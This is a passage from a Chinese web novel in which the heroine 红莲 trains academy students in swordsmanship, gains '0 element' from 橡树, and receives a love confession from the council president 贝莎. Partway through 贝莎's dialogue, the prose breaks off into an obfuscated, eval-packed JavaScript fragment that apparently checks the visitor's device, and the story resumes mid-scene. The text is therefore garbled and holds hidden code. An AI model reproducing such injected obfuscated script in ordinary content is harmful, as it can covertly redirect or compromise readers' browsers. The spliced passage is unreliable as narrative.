“是啊，你觉得天家主能犹豫多久？灵能会的工业机械每分每秒都在生产武器装备和侍灵，也就是每秒都在给天家主施压，黑家主那点人真跟侍灵大军交手，最多守一个月就得撤往南极。现在还没，所以我推测，大概率是天家主还在周旋，小概率是黑家被人工岛派出的侍灵部队夹击，全灭了，侍灵大军已经在路上了。” “你怎么不早说！” “早说有用吗？你们会凝聚在一起防御吗？女王对你来说太重要了，玛丽安。另一方面，我觉得人们毫不知情的死去，未尝不是一种解脱。” “你！” “好友说服了我。” 红莲向她要了一套证件和通话机，走出城防石墙，到孕育罐基地见了晴灯，叙旧一番，看晴灯负责0元素生产和储藏，已经存有9大罐了，时间不算浪费，玛丽安是否愿意分给六局，就是未知数了。 生命的意义 红莲处理完成首都的事务，启程返回业凰科学院。 夜幕低垂，不是简单地合上眼帘，以深邃的蓝黑色为底，轻轻挥洒，将整个世界染成一片幽邃。 咯噔。 升降机的连续的链条传动声，贴在高达数百米宽达近万公里的巨大石墙上，产生奇妙的回响，红莲漫无目的的看着墙壁内的裂纹和破坑，感叹它经历了数千年的战火纷争。 她转身俯瞰南极内陆，和玛丽安在窗内看的景色一样。 最近处是似乎触手可及的服务局要塞，稍远的位置上坐落着业凰科学院，再远处的雪牢关像一个黑色小方块，左侧的汉堡形雪丘上立的一截圆柱是家园堡，右侧的山脉像半个圆桶，桶壁中央有一条竖线，是赛博空港。 轰隆。 石墙下方，红莲艰难发动了单人雪橇，这种小型机械未采用微核反应堆动力，而是古老的化学燃料动力，南极的分子化学工艺十分先进，将防冻和高效燃烧合二为一，少女们在这种需要微妙调整的学科里颇具耐心。 她推着雪橇，等待发动机升温，以免在行驶过程中因风力熄火，三层衣物内的温暖却先被暴风雪带走了。雪地上有大量穿着单薄棉衣的人影，白发飘飘的她们，分散在近万平方公里的雪原上，最近的一位，看到红莲就行军礼，红莲注意到她们面容一致，犹如红宝石的眼睛有些特别。 这名白猫在清扫自己卧室盖子上的积雪，说是卧室，其实是一种整合了治疗椅技术和核能维生系统的水晶棺，约有十万个棺材平放在首都城下，让这片雪景最有末世之感。白猫开启棺材盖，一股暖风吹热四周，使红莲本能的停下脚步，白猫歪头看她，再看看棺内，伸手指着，红莲赶忙钻进去取暖，但她不敢躺平，担心自己会被棺材自动锁在里面。 “你们恨我们吗？” 红莲的问题让白猫蹲下来看她。 “什么是恨？” 自动机械能被北极天家破解，白猫人造人士兵系统是恶毒女王主持开发的生物程序人，用以填补全境通行管制造成的运输瘫痪，六局像六座监狱，白猫们则是最听话的狱卒，可是她们的处境比囚犯还要艰苦。从基因到发育，从□□到水晶棺是全新设计的御寒兼备强力的身体，却还是抵挡不住夜星的极端气候，多有死伤，无论死伤，功能不全的白猫会被安乐死，扔进有机物回收通道，还是白猫们亲手扔进去的，恶毒女王真正把人造人当成耗材，使全体南极人都负原罪，罪加己身，曾经的人们就会用利益为导向的双标为自己开脱。 现在不一样了。 现在所有人都要死了。 红莲起身，摘掉兜帽，拥抱了她，一阵狂风吹过，白发和黑发飘绕在一起。 黑发少女跨上雪橇摩托车，转身看她躺进水晶棺休息，自己驱车向北疾驰，周围的雪地上，还是白猫们清扫棺盖积雪，有的躺进去，有的刚起床，有的被同伴拖出，扔进一辆垃圾车中。雪橇行驶到水晶棺墓地边缘，装卸中口径火炮外骨骼的大型拖车车队停在周围，红莲停车查看。 一门短炮管的火炮背在白猫身后，右肩及手臂包着厚重的机械，胸前有整片装甲，头盔自带机械观瞄系统，腰部的金属裙子内外排满了弹链，小腿穿了一对大型机械鞋子，左臂戴了一面盾牌，整套外骨骼目测有几吨重，但被她们穿着。 进入外骨骼的白猫，走到空地测试开火模式，她半跪下来，火炮运动到她的右臂，和装弹机同时伸出支架，一声锁扣响，机械系统就完成了击发准备。 另一种改进型的外骨骼在腿和炮管下方多了雪橇架，铁裙后方和背部安装一套小巧的微核动力系统，白猫坐在雪上就是滑雪模式，这套改动优化了白猫在战备模式的行进速度。 红莲路过了服务局，在苍茫白雪之中，看到一个人影，顶风步行。 雪橇停在她身前，两人都摘下兜帽，是红莲和望江南。 “上来吧。” “谢谢。” “为什么步行？” “想让自己也尝尝寒冷。” 望江南讲述她尽量让一半白猫闲在墓地区，轮换出勤，降低伤亡，这导致了两个问题，一是战备模式巡逻的白猫部队太少，二是首都人造人基地出产的白猫积压了库存，水晶棺数量有限，可见发明系统的团队计算过了白猫损耗，是个循环系统。问题上报到女王，新调令绕开服务局，驱使大量白猫组成巡逻队。望江南以回收散落各地的外骨骼很困难为理由，尝试让女王收回命令。 红莲听完加快了车速，望江南在她身后，寒意让她紧紧抱着红莲，她第一次有了依靠别人的想法，而这个人的意志是如此强大，令她沉迷。 她想象自己是和恋人一起私奔，远离尘嚣。 暴雪苍茫，黑夜环绕。 一座光辉的白色城堡，将她拉回现实。 两人下车，进入业凰后门大厅，负责管理棉服的社员痴痴的盯着红莲，望江南接过红莲的棉服一起递给那个社员，才让她回过神。 学院内部温暖的光照，帮她俩快速恢复了体温，然而周围越聚越多的社员们都痴看红莲，让她俩意识到发生了什么事件，人群故意给红莲留了一条直通底层广场的走廊，气氛格外诡异，红莲谨慎的走进广场，这里站满了人，她看到前方的尽头依稀可见一套桌椅，她走到有桌椅的空地，转身查看，后路已无，广场里，石山上，到处都是人。 这是人类历史上最宏大的一场校园霸凌吗？ 不明真相的红莲，不停转身环看她们，天旋地转将使她晕眩。 “红莲。” 她停步看向声音方位，是铃兰。人墙分开，天烛和夜兰走了进来，人群齐声再说。 “红莲大人。” 她们脱帽行礼，如果没有相同的想法，不可能在人贴着人的状态下做到。 铃兰牵住红莲的手，将她领到椅子边，坐下，桌上放着一个话筒。 “我们请求您，带领我们战斗。” “都放轻松，我也很想有战友，大家有什么问题，随时，随意问。” 谈论和喜悦声取代了之前的紧张气氛，广场的人潮渐渐松动，人们分流到各宿舍楼，通过网络提问或旁听。 学院最高一层的白石走廊处，贝莎把望远镜递给副会长，她没像副会长那样感到恐慌，因为这是她的杰作，像商品交易，在恰当的时机买入，使自己无论在支持贝家的灵能会，还是在南极社员群体中都占有一席之位，她想这种谋略带来成就感才是商人的幸福，于是满足的挺胸，抬头，双手将身前的金发卷拨到背后，潇洒转身。 18. 章18南极：十寒世界的火势 剑术馆内，光线柔和地洒落，宛如晨曦初照下的静谧湖泊，光影交错，剑影绰绰每一缕光线都似乎被赋予了灵动。 地板上，光与影交织成梦幻的图案，汗水滴落的回响与球鞋摩擦的热烈，古朴的木质地板因脚步轻盈而微响，记录着时间磨砺剑客的足迹。 空气中，弥漫着淡淡的消毒水味和衣香，那是汗水与坚持的味道，交织成一股不屈的战意，每一声齐喊都是对自我极限的挑战，回声在空旷的穹顶间缓缓游荡，每一次脚步的回响都显得悠长而坚毅。 冰雪女王驾崩引发的三家之乱，阳家曾经围困业凰长达半年之久，具有体育或者战士基础的社员约占南极社员总数的十分之一，自发组成过防卫团，当时是以远程武器为训练科目，现在她们被红莲选作精锐，率先练习剑术，学成后作为普及剑术的教官。 业凰工业学科的实验设备能制造轻武器和简易火炮，所以人们不理解为何学习近战技巧，权当提高身体素质的课程，这种觉悟层面的懈怠使她们只习得了几个基础架势，身心压力方面，锻炼剑术的难度远高于轻武器射击训练。 提高觉悟和抗压都靠决心改变自己，这在健全之人身上是很难自然出现的，因为她们平时就过的不错，只是迫于外界压力，思想逼迫身体行动。 然而，先天不完美的个体，往往可以自然展现出随时随地的决心，因为她真的一无所有，没什么可失去的了。 众人跨步并双手挥橡胶剑下劈，只有铃兰的剑稳在红莲指示过的位置，丝毫不差，她先是竭力用全身能力停稳剑，后是逐渐适应疲惫，肌肉力量和剑的运动轨迹流畅协调，每次挥动都有进步，这在体育学科里是十分惊人的，意味着她每秒都战胜了过去的自己。 “你停一下。” 铃兰在听到停的时候定住剑身，随后累的踉跄半步，她眼神带着疑惑，不到150CM的身高被很多前辈认为不适合体育学，这个缺陷反而让她坚定了学剑的信心。 她觉得红莲可能因为有了大批新社员，就淘汰她，这种想法让铃兰眼神带着敌意，红莲又碰她的剑柄。 “我自己能学会！” 她控制不住情绪，突然一喊，周围挥剑的五千名社员一起停下来观望，红莲却表情平淡。 “你会了啊，停是很重要的技术，你已经学会了，我小时候用了一年时间才把剑停稳。你能回忆起我上次挥剑的细节么？” 铃兰的金色双马尾上下跳动，点了点头。 “去洗个澡吧，放松身体也很重要，回来找个角落冥想，要能屏蔽外界，回想起我的挥剑动作，直到你感觉自己的身体能模仿，在按自己能力范围，分步练习，能复制出我那一剑，我再教你真我剑术。” 她细致的记牢红莲说的每个字，急切的冲回宿舍，本以为只是洗澡个澡的功夫，身体经淋浴花洒一冲，顷刻间就卸力了，无力的贴着墙面，她感觉相比身体的酸痛，精神困乏到了极点，将要滑倒时，意识猛然惊醒，已经过不知多久。 等铃兰捧着毛巾，一边擦金发，一边跑回剑术馆的时候，馆内社员走了一半，余下的人摊在地板上休息，看来是到了午休时间，她靠在墙边，看红莲在指导夜兰，就闭上双眼。 出身岸防连城的夜兰，原本就会综合格斗，这是主城区孕育罐基地护理所必教的生存类科目，所以她要求跟红莲空手比武。 这个发长接近身高的巨人少女，拧拳后拉，臂肌明显，另一只手挡在前方，美人面上的眼睛空洞无光，似乎被恐惧穿透了，或者说她就是恐惧本身，发育问题导致的医疗实验给她身心造成极大创伤，甚至将她内心对外界的敏感抹去了，所以她一瞬间就能进入武者需要苦修才有的隔世心境，恐怖的气质遮蔽了她的意图，让她看起来像位统帅千军万马的领袖，红莲如果不是熟悉她，根本不敢轻敌。 两人一交手，竟然打了四个回合不分胜负，红莲施展武技才将她制服。 “你块头太大了，夜兰。胸前的脂肪，超长的头发，大四肢的动作都有破绽，你不适合用剑，空手打不过侍灵，练习长枪技术吧，虽然我不太懂枪术，但你心思一味进攻，倒也简单呢。” 红莲说完，走到墙角，拿起尚未剪断的橡胶棍，这是材料学科的社员根据红莲要求制造的练剑道具，是用橡胶包住的一根高韧性合金，每根长6米，用裁剪机剪成剑的长度。 “给你。” “不长吗？” 夜兰接过红莲递来的橡胶棍后发问，红莲让她按持枪架势站好，抖了抖棍子。 “不长，160CM，你将来的武器就要这个长度，以砍，挥，刺为主。” 她持枪试着练习这三个动作，从侧面看不太雅观，甚至有点好笑，不过夜兰没注意社员们的笑声，正对夜兰枪头方向的社员们却笑不出来，她体格巨大，长枪不但适配她的2米多身高，还显得蓄力极大，攻防兼备。 红莲指点完这两个剑术基础最好的人，走到天烛身边，手把手教这位大脑门的书香少女握剑的基础动作。她今天的盘发依然精致，闪着光泽，还是鬓角分到两侧，全露圆脸，紫眸明亮，透露出亲和与紧张。浅蓝色与金色交织的制服，手臂僵硬，身姿拘谨。蓝色摆裙迈步飞扬，黑色长靴紧裹修长双腿，每一个动作都战战兢兢。 其实天烛大概率用不上剑术，但她执意要学，毫无主动进攻的意识让红莲确信她根本不适合武道。 “行，天烛你学会握紧剑就可以了。” “怎么了，觉得我不配战斗吗？” 天烛的失落情绪把精巧盘发下的充满亲和力的面容变得有些暗淡，红莲笑着回答。 “每个人的天赋方向不一样，你的大数据规划能力不比人工智能差，对了，最好再找一位剑术好手，三支队伍勉强够完成战术，再有一位副官，就能轮替出勤了。” “那倒是有个人选，曾经的业凰最强剑客，可是。” 天烛拉着红莲到无人的废弃庭院角落才再次开口。 “红莲姐姐，你知道风家吗？” “我在岸防连城任将军的时期，了解过风之部落，是体能超强的人种，被冰雪女王编成风家，镇守南极北部海岸，后被玛丽安剿灭。据我所知，幸存者有强风，烈风和风信子。” 红莲说完，拍拍长椅上的尘土，让天烛坐下说话。 “对，风家推选武技最好的人当首领，风信子是旧首领，称为长公主，还有位二公主，叫风狐，武艺仅次于风信子，就在业凰。” “在哪？” 天烛拉住正要起身去找人的红莲。 “姐姐先别急！眼下风家的人正遭恶毒女王通缉，不宜声张，风狐靠体育学和医疗学的朋友帮助，改名躲藏起来了，而且。” “什么？” “恶毒女王没掌权之前，她经常出入图书馆，只对体育和恋爱感兴趣，性格还有点孤傲，不关心大事，我估计她不会参加抵挡灵能会军队的战斗。” “意思是她和恋人在一起？” “没有，听说她喜欢传统的男女爱情故事。” “那我知道了。” 红莲体会到一种缘分，自从天烛说通了她，帮她接纳他人，事情就被人们共同的意愿推进的无比顺利，她的命运齿轮似乎因众人的力量而悄然转动，就连那位执拗的喜欢男生的少女的命运也开始前进了，夜星现在的确有一个男生，所以她打算牵连他们命运的红线。 “天烛大人。” 一位金发的社员在剑术馆门口等待她俩，见到天烛就急切的说话。 “贝莎会长找您有事。” 天烛转身跟红莲拉手道别，正要离开，就听那个社员继续说：“会长在图书馆等您。” “图书馆？不在社员会办公室么？” “叫红莲同学也过去。” 金发社员略微点头，再昂首离开。作者在这里要说明，南极也有金发人，是古代的东群岛移民的混血人，发色偏黄，实际很难看出北极贝家人和南极金发人之间的区别，这恰恰增加了贝家人对待南极人的傲慢，她们需要保持高南极人一等，所以制服特意用金质扣子和拉链，以及其他金饰证明自己的地位。 天烛站在原地，缓慢的攥拳再松开，显得像个无助的小女孩，红莲看出她有些惧怕会长。 “先不用管她，我很久没去见橡树了，我带你去认识一下。” 红莲和天烛走到广场，乘坐电梯，来到中层建筑群的西侧，这里是大厅里是编程学的实验室，她们穿过琳琅满目的显示屏和电子设备，走出后门。门外长廊里有不少社员坐在廊边聊天，女生们时常观望橡树住的宿舍楼出口，红莲趴在天烛耳边让她留意谁是风狐，两人沿长廊走了一圈。 风吹响动。 学院最外的巨大白墙和墙里的白石山外壳都是发光型生长金属制造的，石墙和石山之间偶有夹缝，红莲目测最窄处有9米，宽处甚至有百米距离，视线等在那里，一个人影侧身踩着立墙，高速跑动，红莲启用一命剑的静界，加速动态视觉，看清那人。 浅蓝色披肩在她身上犹如花瓣张开，粉金相间的长发在她身后飘动，身姿窈窕美艳，动作潇洒迅捷，跳向石山的时候不忘用手压住蓝色裙摆，整套舞步行云流水，即便是红莲自己也无法做到她那般灵巧轻松。 这可确实能一直藏在业凰啊。 红莲心里想着，嘴上说：“烛，你到庭院里等我。” 她说完，扶廊边的坐面，翻越长廊，一步跳上石山，周围的人看到就一惊，目送红莲的身影消失在巨石缝隙。 金花装饰的宿舍楼外墙对巨大外墙的一侧，三楼位置敞着窗户，清雅的曲调缓缓萦绕在石山附近，玉珊瑚手扶岩石，半蹲着，听着琴声，调整刚才激烈运动的呼吸，转身想找个舒适的坐姿，她心想下次带个坐垫来吧，迎面看到一个黑发女子，她们面对面，吓的玉珊瑚险些叫出生来，却被红莲用手捂住口。 红莲估计橡树是被女生们的好奇眼光看烦了，所以在家练琴，没想到这位小妹妹专程来听他演奏。 “我叫红莲，你现在叫什么名字？” “哼。” 玉珊瑚躺在岩石上休息，凹凸不平的石头硌的难受，她改成坐姿，红莲坐到她身边。 “我知道你是谁，聚集社员们在广场练剑。” “灵能会快打过来了，你要加入吗？” “我对舞刀弄剑提不起兴趣了。” “噢。” 二人在琴声之中，静静坐了一会儿，红莲才想到话题。 “你喜欢音乐吗？” “一般。” “一般？” 红莲惊讶的看着她，把玉珊瑚看的脸红，扭过头去，红莲追问她的心思。 “那就是得看是谁弹的？” “啧，你们练剑不腻吗？我从小到大玩剑，觉得身为女孩，应该找点更有意义的事情。” “比如？” “爱情啊爱情！那种古典的男女浪漫爱情，两人长相厮守！跟你说了你也不懂！” “嗯？我见过男性，应该是比你懂一点。” 玉珊瑚好奇的转过头来，想了想后说：“胡说！夜星现在没有男性人类了！” “有啊，真正的夜星人，不过是个机器改造人。” “机器人不算！” “算啊，傻女孩，他有过三任妻子，应该是比我们都懂爱情一些，他说，爱是对真我的认可。” “真我？” “简单来说，两人要看到对方本性或者说天性才是真爱。你喜欢男女爱情故事，你试问自己的兴趣，有多少是出于身体本能？有多少是出于言情小说？” 玉珊瑚听的有些急躁了，就问：“这有什么关系吗！” “外貌和外界的东西都能替代，互相欣赏天性才能成为不可替代的唯一。” 玉珊瑚对自己外貌有绝对的自信，突然想起族人和同学都更看重这点，加上她痴迷娱乐小说，学院里有流言称她为不学无术的空壳少女，种种不快的回忆使她情绪低落。 红莲站起并向她伸手。 “走吧。” “去哪？” “不想认识一下弹琴的人吗？” “哎？” 她们从宿舍楼内侧下山，绕行到正门前的庭院，天烛坐在长椅上看书，远处走廊内的社员们已然散去，三人乘电梯到达三楼，门廊不大，白墙上的黄金走线繁复精美，红莲到一扇门前轻敲并回头说：“你们稍等，我先进去跟他说几句话。” 玉珊瑚难抑好奇心，还略感嫉妒，就问天烛。 “哎？红莲跟那人是什么关系？” “好像是姐妹？风狐你不是住医疗学科的宿舍楼吗？怎么在这里？” 她们在门外攀谈的时候，门内的姐弟简单寒暄过后，红莲的表情突然严肃。 “橡树，我原本打算混到末日，用殊死一战作为结局。但时代会推着人前进，即便到末世也是如此，所以时机提前到了，我需要0元素。” 橡树咬破手指，黑色血液滴到红莲的手心，她捂口，服下，眼前一黑，顿时觉得万物皆无，有一瞬间似乎置身于绝对虚空，下一瞬间便要跌倒在地，所幸被橡树接住。 红莲的衣物逐渐被黑色液体取代，黑液渐渐变成制服轮廓，等红莲睁眼时，黑色液体模拟出了布料质感，体外0元素是根据人的自我意识拟态成衣服。 她站直，原地转身查看衣服，是一身黑色制服，她向额头伸手，摸到一顶黑色大檐帽，摘下一看，帽檐上有五颗黑星，视线的白线旁有个小方块图标，她在心中说信息板，手中便有了一块黑色的平板电脑，操作显示屏，有0维之钥程序。 红莲变没信息板，再用心语，手中逐渐显现一把黑色直刀，她收没刀，坐在橡树对面。 “还有件事求弟弟帮忙。” 这位穿着蓝色女装的棕发少年笑了，面容平和安静。 “没事，其实我以前在地球也总在家里，并不感觉拘束，只要是能帮到红莲姐的事，尽管说吧。” “弄破手指，疼吗？” “略有感觉，我毕竟全身都是0元素构成，痛感很弱。” “那就每天积累一点血液，不影响你的程度，存在罐子里，不要让0元素消失，这是预防别人用武力干扰业凰，如果有人敢对我们施压，我们就用这些0元素组成战斗队伍。” “可以提个小要求吗？” “请说。” “我穿够裙子了！” 红莲笑着揉揉他头上棕发，转身开门的同时说：“我给你找了一位搭档。” “不用！” 橡树急切的说着，站起，迎面的门洞仿佛一幅惊世油画，画中走来一位青涩动人的美丽少女，让不愿跟外人来往的橡树竟一时语塞。 天烛随后进来，红莲介绍完天烛，却不知道风狐改了什么名字。 “这位？” “我叫玉珊瑚。” 少女走到橡树身边跟他握手。 红莲见气氛有些尴尬，想来橡树的工作需要愿意配合他的人帮忙。 “珊瑚，那位是我……妹妹，她在业凰没有朋友，我又很忙，我想请你协助她储存某种工业试剂。” 玉珊瑚点头答应下来，红莲就带天烛离开，前往图书馆。 成人之美 黑色制服在走廊内来往的人群中格外扎眼，更别说红莲挥洒自如的黑色长发上还戴着黑色大檐帽了，帅飒英姿远超旁人，引得社员们纷纷驻足痴看，连她身边的天烛也跟着痴迷了。 “红莲姐，你哪弄的黑色制服呀？” “改天我给你也染一身。” “好啊，问题是风狐她没参加训练呀？” “自愿吧，我问过她现在没兴趣战斗，再说她几乎不用练了。” 二人说话间，就走到图书馆门外，红莲知道会长肯定在里面，就敲敲门，听到一声进来，她们进屋一看，只有两位金发少女在桌边，一位站着侍奉另一位品茶。 坐着的女子一身白色紧身衣，肩上和领口都有金花装饰，面色白皙，美人细眸，大弹簧形的金色长发光泽漂亮，最让红莲震惊的是她气息平稳，身姿挺直，必有不错的武者素养。 天烛看红莲坐到长桌的另一边，是跟会长面对面，自己就站到红莲身后，双方形成了两派力量的会谈局面。 “天烛，帮红莲倒杯茶吧。” 红莲摆手挡住天烛并说不用，贝莎会长侧倚着扶手，动作优雅，她的每个举止似乎都经过细心调整，已然成为习惯。 “是我发掘你的潜力，提拔你当社员会的会计呐。” 天烛有些慌了，慌的头痛，她忽然感到难以忍受的压力，像在博物馆都市任劳任怨的工作还被家族指责一样，她看看会长平静的脸，再缓缓低头去看红莲，是笑脸，红莲也在看她，这笑容感染了天烛，使她本能的伸手，红莲将她的手握住，给了天烛勇气。 “我没做过对不起会长的事情，从始至终尽心工作了。” “哈，你们误解了。” 贝莎说着，用手指拨动缠绕身前的发卷，红莲记得贝家主也有这个习惯。 “我是想请红莲一起品味北极送来的特等金茶，比供给天家主的都好呢。” “不用了，我们和北极已经没有关系。” 贝莎和贝家主最大的区别，就是她权力有限，几十年来周旋于南极的灵能会分支和南极王之间，习惯了被拒绝，她某种程度上认可家族外的人也是有用和有能力的，所以她噘噘嘴，独自用一杯茶的时间，考虑清楚了自己的利益和自己的乐趣。 “红莲，我了解你。” “哦？” “北极的情报会同步分享给我，你作为天家主的亲信之一，是贝家重点的研究对象，当我上报说你突然入学业凰的时候，家主大人送来了更多情报，你想象不到的细节，头发，衣物，录音等等一切。” 贝莎说着双手摊开，红莲却觉得可笑。 “很多人说过了解我。” “我不一样啊，红莲！嗯？我先问问你对贝家的印象？” “没兴趣，天家主说你们是一群不思进取的守财奴，仍把毫无价值的黄金奉为至宝。” 贝莎身后的金发女子大声吼道：“放尊重点！” “我重复天家主的原话罢了。” 贝莎瞪着身后的女生，使她连连点点道歉。 “小喽啰不懂事，你别放在心上呀，红莲。我要说的就是这个！客观看技术时代的黄金确实毫无价值，灵能进化积分取代了它的货币属性。我个人啊，十分清楚贝家的处境，所以我尝试寻求突破，不树立那么多敌人，化敌为友！先是帮了天烛，后是帮了你，对吧？” 红莲双臂放在桌上，双手握拳，抵在嘴前。 “感谢会长播放那段录音，让我和社员们快速凝聚到一起，还默许我们练习剑术。” “对对！南极社员跟你志同道合嘛，我做个顺水人情喽！再比如说，我包庇了某个通缉犯，其实我当时只觉得自己没必要听从恶毒女王的命令，那会降低灵能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贝莎问着，站起来，迈着优雅的步子，走到红莲身边的书架处，随手拿起一本小说翻着。 “爱上某人大概就是这么不讲理吧，我把能给你的，都给你了，红莲。当我出任业凰会长的那年，面临的局势很像天家主的处境，所以我模仿着她，从而发现了你，我思考你，这过程帮我理解了自己，我对灵能进化永生成神之类的东西也无兴趣，很想找点热爱的事物，证明自己活过，没有比你更合适的了！我回北极之前，会全力协助你。” 一本书被她放到红莲面前，书名是如雨止。 贝莎的这番表白深情且满含诚意，使红莲不知所措，她想回报她，却找不到等价之物。 “我？” “没有比你更合适的当恋人的人了，红莲。我知道你很难喜欢谁，更不可能爱谁，不会跟任何人在一起，那么我给你的爱就只属于你。所以你不用为我做任何事，我打心底觉得你必将胜利，因为女孩们都会喜欢你呢。” 贝莎临走轻抚了一下红莲的肩膀，开门的时候，转身向红莲鞠躬，对新会长表达敬意。 有些女孩能为爱赌上很多东西，这种冲动盲目而美丽，是真我看穿人生后激发的伟大愚行，所以在这不得荣誉，不得生机，不得利益，不得回报的绝对末世之中，仍然能组成一团自我牺牲的赤诚烈火，抵挡那压倒一切的黑暗，只因我们选对了人，这朵精神不灭的红莲花。 接下来的日子，就是例行的剑术和编队训练，约有一万名社员习得了一命剑，这对于天资聪颖的业凰社员来说，本不是难事，她们基本都是顺应兴趣而奋发研习应用学，考取了业凰，所以真我天赋很好。她们在组队练习的过程中，领悟的配合方式也很默契和多变，编队战法上甚至反向指导红莲，集结五万名高智商人类产生的战力是每天增强的。 社员会方面，业凰第一次有了上下一心的组织力，天烛的会计工作包含了物资调配和后勤模拟，位于首都的玛丽安提供了物资援助。贝莎副会长协调各方情报，编绘了一张标明南极各派军力位置的电子地图，甚至贝家社员都给南极社员提供了协助，尽管在贝家人看来，南极人的行为毫无意义。红莲在学院外墙下进行了3000多人规模的战术演练，至少从心态上来说，业凰社员们不再是等死了。 一队物资运输车按惯例停靠到业凰后花园道中，望江南下车，跟夜兰握手，她看的出这位瘦弱的少女心系业凰，红色制服外戴着浅蓝色的业凰披肩，红色长发用发夹盘在圆饼形状的蓝色帽内，清瘦小脸上永远一副阳光积极的笑容。 两人简单道谢。 “我还有事找红莲会长。” “好，我带你去。” 路上，不时有认识望江南的人上前打招呼，众人对练剑术的样子，引起她的兴趣。 “这剑术有些特别，不作试探佯攻，总是追求一击制敌呢。” “啊？望江南也懂剑术吗？” “我这次来就是来问剑术比赛的参赛选手，听说之后还有指挥演练比赛，说实话，业凰很吃亏。服务局的前身首都卫戍军团，我们都有剑术和军事指挥基础。两所运输局和两所工业局是前阳家军团和千家军团拆散成立的，业凰却是普通社员。” 夜兰自信满满的说：“也不一定会输嘛，我们这剑术高手多嘛。” “对，有红莲大人在，一定能夺得冠军。” “红莲姐姐她不参加剑术比赛。” “啊？” 望江南惊讶的张着嘴，再看已经不知不觉走到了剑术馆附近，红莲和贝莎在庭院空地上指导社员练习剑术。 “望江南，你来的正好，来一起学真我剑术吧，把教学方法传播给服务局。” 红莲兴高采烈的边说边走，到望江南身边拉手。 “可以吗？这不是业凰的秘密武技吗？” “可以啊！我提议剑术比赛就是为了传播真我剑术。” “原来是这样，红莲大人您太无私了。” “噗，哈哈，大难临头，私什么私呢。” 红莲说笑中揉揉望江南的头发，她害羞的低头说：“我听说您不参赛？” “是啊，现在的我参赛就不公平了，让我的得意门生参赛吧，这样别的强者一定能对真我剑术刮目相看。” “那具体是谁呢？” 望江南说着，从挎包掏出一个铁盒子，继续说：“参赛的人就用盒子抓阄。” 抓阄？ 红莲心想这一定是玛丽安的小花招，抓就抓吧。 “叫所有副官过来。” 不一会儿，分散各处教学的副官全部到场，夜兰先抓出来一张写C的纸条，天烛和铃兰也抓了纸条，红莲看玉珊瑚的脸上跃跃欲试的表情，手却迟迟不动。 “珊瑚想参加吗？” “能去吗！” “我得了业凰会长这把宝剑，女王不敢轻举妄动，你想去就去！” “好呀！那我也抓一个！” 众人看到玉珊瑚参赛，一下就没了信心，副官间切磋的时候，这粉发少女上蹿下跳的，非常灵活，夜兰和铃兰都输了，尤其是铃兰，输的极不服气。 红莲心里很清楚，真我剑术的三个阶段，全员只有铃兰接近了绝界，这跟每人看待绝望的心态有关，越乐观的人越难在心中假想绝境，就难以发挥超越自我的体能实力。 “铃兰。” “师父。” 红莲笑着说：“不用叫我师父，因为你的师父另有其人，我给你开个小灶吧！” 铃兰听到这话就双眼发光，两步跳到红莲腰边，细长的金发双马尾跟着她的跳步一起上下跃动，其他人先不管这份可爱，同时说：“哎？” “不用哎，你们的绝界需要在实战中慢慢习得，这也说明你们现在有静界够用了。铃兰，去我宿舍的长条提箱里找一把锈迹斑斑的铁剑，到远离人烟的空旷雪坑里，把剑插进雪里等待，记得多穿棉衣，多带食物，再带个取暖设备。望江南你给她开一份临时交通证件。” 红莲说完，拉着玉珊瑚到一边问话。 “你和橡树相处的怎么样呢？” “她几乎不说话！” “不说话？” “对呀！” 玉珊瑚边走边聊，她很感激红莲让她在业凰自由行动，甚至不用染发了，为此她经常捋长发到身前，她很喜欢自己发色的粉度，是风之部落最推崇的真粉色，代表了最纯正的风之血统。 “她最近穿上裤子了，似乎变开心了些，偶尔会问我琴曲怎么样。” “你怎么说？” “我就说好听啊，不懂啊，能咋说呢？然后就没啥话了，我俩就偶尔检查一下装满黑色液体的玻璃桶，那是什么东西？” “其实他话可多了。” “是吗？” 红莲点点头，望着远处一个双马尾少女在山间穿梭。 “是的，大概是他还没把你看成家人，这样的男生对外人有多冷漠，就对家人有多热心。” “男生？” 在红莲一时语失后尽力掩饰和解释的时候，铃兰手握通行证，兴奋的跑步上山，穿过蜿蜒走廊，到中层的宿舍区，取那柄象征希望之剑，她很清晰的知道，自己的命运舞台终于开幕了，先天弱小不代表自己真的弱小，倔强的她，偏要在最不擅长的道路取得最辉煌的成果。 19. 章19南极：剑术比赛 作者在查阅夜星历史资料中发现一个事实。 从黄金时代百家争鸣的哲学与管理学，到机械太空时代的各种体验式娱乐产品，到血肉时代和灵能时代的各类规则，人们将诸子百家的理论奉为圭臬，一会儿用这家的说辞贬低别家，一会儿用别家的信条嘲讽这家，就为自己站在有利人群之中获得的安心感。 然而夜星人信过三个时代的说辞，却沦为鱼肉。 如今，那些说辞都毫无价值，烟消云散了，人还怎么相信经论呢？唯有自己，唯有人内心的共情和良知，化作动力。 说和想挡不住压过你身体的战车，只有行动，能改变自己和环境，真我赋予你自强的视角和判断，不再因他人的骗局而白费努力，对于每个人而言，世界是属于你的，强一点就是收获，胜一分就是战果。 南极的雪原之夜，仿佛是大自然最精致的一幅水墨画，静静地铺展在无垠的天际之下。夜幕缓缓拥抱这片纯净的世界。雪，轻盈而细腻，如同千万只无形的手，将每一寸土地都轻轻抚摸，直至它们都被披上了一层柔和而神秘的银纱。 远处，雪山巍峨，轮廓在夜色中显得更加柔和而遥远，宛如一位沉睡的巨人，守护着这片古老的土地。雪原的每一道褶皱、每一个起伏，都被夜色勾勒得分外清晰，少女的每一步脚印，都赋予这片圣洁之地的活力；每一次呼吸，都仿佛带给这片雪原生机。 圆筒形状的白绒毡帽正好被她的一对金发高马尾卡住，耳上戴了包耳式耳机，这样她觉得自己就不显得那么矮了。悠扬的长鸣似雪原这般寂远，婉转的旋律如暴雪这样回还，橡树的乐曲成了业凰社员中的流行文化，她却不关心是谁弹的，因为她太需要自强，早已远离爱慕他人的梦幻了。 雪橇拖车的滑行痕迹遮蔽了她踩下的足迹，铃兰顶着风，向东方步行，那片雪原在赛博空港和第二运输局之间，有大片空地。棉袍的衣袖为她阻挡迎面凛冽雪片，白棉手套轻捂少女冻红的脸颊和润唇，她遥望起伏的无际白色，在下一个雪坡上，确认身下是大雪坑，恐怕爬上来要费一番周折吧，她想。 